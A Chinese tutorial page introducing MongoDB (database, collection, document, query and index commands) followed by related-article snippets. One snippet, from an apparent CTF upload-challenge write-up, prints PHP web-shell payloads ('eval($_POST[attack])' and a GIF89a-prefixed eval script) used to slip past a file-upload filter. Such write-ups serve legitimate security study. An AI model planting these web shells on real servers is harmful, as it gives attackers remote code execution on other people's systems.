MongDB快速入门

一,MongoDB简介

MongoDB是一个开源,高性能,无模式的文档数据库,当初的设计就是用于简化开发和方便扩展,是NoSQL数据库产品的一种,也是最想关系型数据库的非关系型数据库

它支持的数据结构非常松散,是一种类似JSON的格式叫BSON,所以它既可以存储比较复杂的数据类型,又相当灵活

MongoDB中的记录是一个文档,它是一个由字段和值对(field:value)组成的数据结构。MongoDB文档类似于JSON对象,即一个文档认为就是一个对象。字段的数据类型是字符型,它的值除了使用基本的一些类型外,还可以包括其他文档,普通数字和文档数组

MySQL术语MongoDB术语解释
databasedatabase数据库
tablecollection数据库表/集合
rowdocument数据记录行/文档
columnfield数据字段/域
indexindex索引
table joins表连接/MongoDB不支持
嵌入文档MongoDB通过嵌入文档代替多表连接
primary keyprimary key主键,MongoDB自动将_id字段设置为主键

特点:高性能,高可用性,高扩展性

二,配置

  • 首先在官网下载MongoDB

  • 配置bin的环境变量

  • 管理员启动cmd

    • 命令解释
      net start MongoDB启动服务
      net stop MongoDB关闭服务

三,常用命令

3.1,数据库操作

命令解释
use 数据库名称创建数据库
show dbs(databases)查看所有数据库
db查看当前使用的数据库
db.dropDatabase()删除当前使用的数据库

3.2,集合操作

命令解释
db.createCollection("集合")显示创建集合
db.集合.drop()删除集合
show collections查看所有集合

3.3,文档操作

3.3.1,文档插入
db.集合.insert({文档}
)
db.集合.insertMany([{文档},{文档}]
)

文档格式类似于json

命令解释
insert集合中插入单个文档
insertMany()集合中插入多个文档
3.3.2,文档查询
db.集合.find(query, projection)
  • query:用于查找文档的查询条件。默认为 {},即匹配所有文档。

    • db.集合.find()
      db.集合.find({"条件":"条件",..},..)
  • projection(可选):指定返回结果中包含或排除的字段。

    • db.集合.find(query,{域:1,_id:0})
      //:1表示显示
      //:0表示不显示
      //_id这个域不指定0默认就是显示的根据自己需求来定
命令解释
find默认为 {},即匹配所有文档。
findOne匹配第一条文档
3.3.3,文档更新
db.集合.update(query,update,options)
  • 覆盖修改

    • db.comment.update({条件},{修改文档})
      //指定条件的文档被覆盖成修改后的文档
  • 局部修改

    • db.comment.update({条件},{$set:{修改文档}})
      //指定条件的文档被局部修改
  • 批量修改

    • db.comment.update({条件},{$set:{修改文档}},{multi:ture})
      //指定条件的文档被局部修改 
      //multi为 true表示支持批量 false默认只修改第一条匹配的文档
  • 列值增长的修改(依次递增或递减)

    • db.comment.update({条件},{$inc:{域:NumberInt(1)}})
      //指定条件的文档的域依次递增
      //NumberInt:转换int类型 1表示每次累加1
命令解释
update修改文档

3.3.4,文档删除
命令解释
db.集合.remove(条件)按条件删除
db.集合.remove({})全部删除
db.集合.remove({_id:"1"})删除_id为”1“
3.3.5,统计查询
db.集合.count(query,options)
参数类型解释
querydocument查询选择条件
optionsdocument可选。用于修改计数的额外选项
3.3.6,分页查询
db.集合.find().limit(numb)
//从第一条开始查询numb条数据
db.集合.find().limit(numb).skip(numbTwo)
//跳过numbTow条数据查询numb
命令解释
limit查询numb条数据
skip跳过numbTwo条数据
3.3.7,排序查询
db.集合.find().sort(排序方式)
//升序 域:1 ,降序 域:-1
//排序方式支持多条件
3.3.8,正则的复杂条件查
db.集合.find({域:/表达式/})
//查询域中包含表示式的文档
3.3.9,比较查询
db.集合.find({域:{$符号:NumberInt(值)}})
符号解释
$gt大于
$lt小于
$gte大于等于
$lte小于等于
$ne不等于
3.3.10,包含查询
db.集合.find({域:{$in:["数据1","数据2"]}})
//域中满足数据1或数据2的文档
符号解释
$in包含
$nin不包含
3.3.11,条件连接查询
db.comment.find({$and:[{条件1},{条件2},{条件3},...]})
//查询满足所有条件的文档,$or满足其中一个条件即可
//条件可以是指定条件也可以是比较条件...
符号解释
$and
$or

3.4,索引

3.4.1,概述

索引支持在MongoDB中高效查询,和Mysql一样没有索引的化必须执行全表(集合)扫描,一般MongoDB就是用来处理大数量数据的,而在处理大量的数据时索引的作用就会体现出来。

3.4.2,类型
  • 单字段索引

    • MongoDB支持在文档的单个字段上创建用户定义的升降/降序索引,称为单字段索引(Single Field Index)

    • 对于单个字段索引和排序操作,索引键的排序顺序(升序降序)并不重要,因为MongoDB可以在任何方向上遍历索引

  • 复合索引

    • MongoDB还支持多个字段的用户定义索引,即复合查询(COmpound Index)

    • 复合索引中列出的字段顺序具有重要意义。顺序如{域1:1,域2:-1}组成,则索引首先按域1的正序排序,然后在每个有域1的文档,再按域2倒序排序

3.4.3,索引的查看
db.集合.getIndexes()
3.4.4,索引的创建
db.集合.createIndex(keys,optios)
参数解释
keys包含域的文档,{域:1或-1},1表示升序,-1表示降序
optios可选,包含一组控制索引创建的选项的文档。有关详细信息可参考官方文档
3.4.4,索引的移除
db.集合.dropIndex(index)/根据索引的name来移除索引
db.集合.dropIndex({域:1})//根据创建索引的指定规则来移除索引
db.集合.dropIndexes()//移除所有的索引
3.4.5,执行计划
  • 查看索引的情况

  • 查看索引的耗时

  • 查看是否基于索引查询

db.集合.find({}).explain()//根据查询条件来展示是否用到索引

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/63370.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Kruskal 算法在特定边权重条件下的性能分析及其实现

引言 Kruskal 算法是一种用于求解最小生成树(Minimum Spanning Tree, MST)的经典算法。它通过逐步添加权重最小的边来构建最小生成树,同时确保不会形成环路。在本文中,我们将探讨在特定边权重条件下 Kruskal 算法的性能,并分别给出伪代码和 C 语言实现。特别是,我们将分…

实战 | C# 中使用GPU加速YOLOv11 推理

导 读 本文主要介绍如何在C#中使用GPU加速YOLOv11推理。 YOLOv11介绍 C# 中使用YOLOv11 (GPU版本) 【1】环境和依赖项。 下载安装CUDA12.6和CUDNN9.6,截止文章日期最新版本,注意选择自己的版本,我的系统是win11 64位。

大数据-244 离线数仓 - 电商核心交易 ODS层 数据库结构 数据加载 DataX

点一下关注吧!!!非常感谢!!持续更新!!! Java篇开始了! 目前开始更新 MyBatis,一起深入浅出! 目前已经更新到了: Hadoop&#xff0…

以nlp为例,区分BatchNorm、LayerNorm、GroupNorm、RMSNorm

以nlp中一个小批次数据,详细区分BatchNorm、LayerNorm、GroupNorm、RMSNorm。这几种归一化的不同。如下表格,从计算范围、统计量、计算复杂度以及应用场景等方面的差异给出。 方法计算范围统计量计算复杂度应用场景BatchNorm跨所有句子的同一维度使用批…

C# 高效编程指南:从命名空间到异常处理的技巧与最佳实践

在这条成长的路上,有一些核心概念将成为你开发过程中的得力助手—命名空间、预处理指令、正则表达式、异常处理和文件输入输出,这些看似独立的技术,实际上在大多数应用中都紧密相连,共同构成了C#开发的基础。 目录 C#命名空间 C…

普及组集训--图论最短路径设分层图

P4568 [JLOI2011] 飞行路线 - 洛谷 | 计算机科学教育新生态 可以设置分层图:(伪代码) E(u,v)w;无向图 add(u,v,w),add(v,u,w); for(j1~k){add(ujn,vjn,w);add(vjn,ujn,w);add(ujn-j,vjn-j,0);add(vjn-j,ujn-j,0); } add(ujn-j,vjn-j,0); add(vjn-j,uj…

常用传感器介绍合集

SW-520D倾斜传感器 HX711模块:高精度称重的核心利器 GY302光照传感器模块详解 MLX90614红外测温传感器介绍 MAX30102心率血氧传感器模块:精准健康监测的利器 RGB颜色传感器简介 DS18B20温度传感器模块 人体红外传感器简介 FC-28土壤湿度传感器 …

gitee常见命令

目录 1.本地分支重命名 2.更新远程仓库分支 3.为当前分支设置远程跟踪分支 4.撤销已经push远程的代码 5.idea->gitee的‘还原提交’ 需要和本地当前的代码解决冲突 解决冲突 本地工作区的差异代码显示 本地commit和push远程 6.idea->gitee的‘将当前分支重置到此…

C++设计模式(建造者、中介者、备忘录)

一、建造者模式 将一个复杂对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示。 示例: //房子(产品类) class House { private:int rooms;int windows;string decoration; public:void setRooms(int r) {rooms …

简易图书管理系统

javawebjspservlet 实体类 package com.ghx.entity;/*** author :guo* date :Created in 2024/12/6 10:13* description:* modified By:* version:*/ public class Book {private int id;private String name;private double pri…

什么是甘特图?使用甘特图制定项目计划表的步骤

在项目管理中,项目计划是项目的核心要素,它详细记录了项目任务详情、责任人、时间规划以及所需资源。 这份计划不仅为项目推进提供指引,更是控制范围蔓延、争取更多支持的有力工具。 在项目管理中,项目计划是项目的核心要素&…

mock.js介绍

mock.js http://mockjs.com/ 1、mock的介绍 *** 生成随机数据,拦截 Ajax 请求。** 通过随机数据,模拟各种场景;不需要修改既有代码,就可以拦截 Ajax 请求,返回模拟的响应数据;支持生成随机的文本、数字…

16.[极客大挑战 2019]Upload1

进入靶场 是文件上传类题目 随便传个图片 制作个含木马的 算了&#xff0c;直接抓包只传文件改格式好了 第一次传的是<?php eval($_POST[attack]);?> 第二次传的是GIF89a? <script language"php">eval($_REQUEST[1])</script> "GIF89a&…

标书里的“废标雷区”:你踩过几个?

在投标领域&#xff0c;标书的质量不仅决定了中标的可能性&#xff0c;更是体现企业专业度的关键。但即便是经验丰富的投标人&#xff0c;也难免会在标书编制过程中踩中“废标雷区”。这些雷区可能隐藏在技术方案的细节中&#xff0c;也可能是投标文件格式的规范问题。以下&…

22、共用体

1、共用体 共用体 --- 用法和结构体类似 共用体&#xff1a;多个成员共用同一段内存空间。 1.1、共用体定义 union 共用体名 { 成员类型 成员名; 成员类型 成员名; .... }; 共用体的类型名&#xff1a;union 共用体名 例子&#xff1a; 定义一个共用体里面有两个成员&…

CVPR和其他2024顶会论文阅读(资源整理【1】)

CVPR 2024论文阅读(资源整理【1】) 一、3d 重建与建模论文1-Deformable 3D Gaussians for High-Fidelity Monocular Dynamic Scene Reconstruction论文2- 4D Gaussian Splatting for Real-Time Dynamic Scene Rendering论文3-GaussianDreamer: Fast Generation from Text to …

电脑投屏到电脑:Windows,macOS及Linux系统可以相互投屏!

本篇其实是电脑远程投屏到另一台电脑的操作介绍。本篇文章的方法可用于Windows&#xff0c;macOS及Linux系统的相互投屏。 为了避免介绍过程中出现“这台电脑”投屏到“那台电脑”的混乱表述&#xff0c;假定当前屏幕投出端是Windows系统电脑&#xff0c;屏幕接收端是Linux系统…

视频质量评价算法 DOVER 介绍

DOVER DOVER项目: DOVER是为ICCV2023会议论文“Exploring Video Quality Assessment on User Generated Contents from Aesthetic and Technical Perspectives”提供的官方代码、演示和权重的项目。官网:https://vqassessment.github.io/DOVER/ GitHub:https://github.com/V…

单片机上各种输出模式和寄存器讲解

零、目录 1&#xff0c;什么是寄存器 2&#xff0c;单片机各种输出模式及其应用 一、什么是寄存器 我们直接以STM32芯片的架构为例子 单片机芯片组成两部分&#xff1a;内核&#xff0c;外设&#xff08;相当于电脑的CPU和其他一件主板&#xff0c;键盘显示器等&#xff09;…

基于内核DWT延时

1.软件延时缺点 2.硬件延时&#xff0c;利用系统提供的嘀嗒定时器。1ms进一次。 3.内核架构。该监视只有Cortex3以上的才有。 4.DWT硬件延时方案 5.使用步骤